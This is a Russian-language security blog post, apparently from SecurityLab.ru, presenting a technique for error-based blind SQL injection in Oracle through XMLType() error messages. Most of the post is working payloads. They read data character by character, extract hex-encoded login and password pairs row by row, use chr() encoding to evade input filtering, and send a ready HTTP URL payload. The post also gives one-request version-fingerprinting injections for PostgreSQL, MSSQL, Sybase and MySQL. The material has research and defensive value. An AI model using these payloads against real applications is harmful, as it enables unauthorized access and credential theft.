Быстрые техники эксплуатации blind SQL Injection в Oracle
Обладая интересной подборкой быстрых способов эксплуатации слепых SQL-инъекций, мне недоставало аналогичных техник под не менее распространенную СУБД Oracle . Это побудило меня провести небольшой ресерч, направленный на поиск подобных техник в указанной базе данных.
Убедившись в том, что все известные способы эксплуатации error-based blind SQL Injection не работают в среде оракла, мое внимание привлекли функции взаимодействия с форматом XML. Немного поковырявшись в них, была обнаружена функция XMLType(), которая возвращает в сообщении об ошибке первый символ из запрашиваемых данных (LPX-00XXX):
SQL> select XMLType((select 'abcdef' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00210: expected '<' instead of 'a'
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 301
ORA-06512: at line 1
no rows selected
SQL>
name='more'>
Уже хлеб. Используя функцию substr() становиться возможным посимвольное чтение требуемой информации. Например, можно достаточно быстро определить версию установленной базы данных:
select XMLType((select substr(version,1,1) from v$instance)) from users;
select XMLType((select substr(version,2,1) from v$instance)) from users;
select XMLType((select substr(version,3,1) from v$instance)) from users;
...и т.п.
Считывание одного символа в один запрос при эксплуатации слепых SQL-инъекций это здорово, но было бы глупо останавливаться на достигнутом.
Продолжая копать функцию XMLType() мне удалось найти аналогичный способ проброса данных в сообщении об ошибке, который существует и в других базах данных:
SQL> select XMLType((select '<abcdef:root>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00234: namespace prefix "abcdef" is not declared
... SQL> select XMLType((select '<:abcdef>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName ":abcdef" (not a Name)
... SQL>
Вроде бы все замечательно, но есть несколько подводных камней. Первая загвоздка заключается в том, что в оракле не происходит автоматическое приведение типов. Поэтому такой запрос выдаст ошибку:
SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>'
from dual)) from dual);
select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>'
from dual)) from dual)
ERROR at line 1:
ORA-00932: inconsistent datatypes: expected NUMBER got -
Второй нюанс заключается в том, что у ораклятины отсутствует limit и offset, что не позволяет простым путем осуществлять построчное чтение данных. И третья проблема связана с тем, что функция XMLType() при обработке ошибки обрезает возвращаемые данные после некоторых символов. Например, когда в строке встречается пробел или символ at ("@") и др..
Но все можно разрулить;) Для решения проблемы с приведением типов может использоваться функция upper(). Организовать построчное чтение данных, можно с использованием следующей нехитрой конструкции:
select id from(select id,rownum rnum from users a)where rnum=1;
select id from(select id,rownum rnum from users a)where rnum=2;
...
Ну, а для того, чтобы избежать потерю возвращаемых данных, может использоваться hex-кодирование. Опционально, можно также избавиться от кавычек в отправляемом запросе используя числовое представление символов (ascii), что в перспективе позволит обходить фильтрацию при обработке поступающих данных в приложение. Таким образом, конечный запрос примет следующий вид:
select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual);
select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual);
...
Используя данную технику за один http-запрос можно считывать до 214 байт в приложении (107 символов при использовании hex-кодирования), которое функционирует под управлением СУБД Oracle >=9.0 и возвращает сообщение об ошибке:
http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--
Для декодирования получаемых данных из приложения при эксплуатации SQL-инъекции описанным способом, в том числе, может использоваться стандартная функция оракла utl_raw.cast_to_varchar2():
Таким образом, учитывая предыдущую публикацию на эту тему , доступны универсальные и быстрые техники эксплуатации error-based blind SQL Injection для следующих СУБД: PostgreSQL, MSSQL, Sybase, а также для MySQL версии >=4.1 и Oracle версии >=9.0. Для идентификации используемой версии базы данных в один http-запрос, могут применяться следующие конструкции:
PostgreSQL:
/?param=1 and(1)=cast(version() as numeric)--
MSSQL:
/?param=1 and(1)=convert(int,@@version)--
Sybase:
/?param=1 and(1)=convert(int,@@version)--
MySQL>=4.1<5.0:
/?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)--
ИЛИ
/?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--
MySQL>=5.0:
/?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
Oracle >=9.0:
/?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.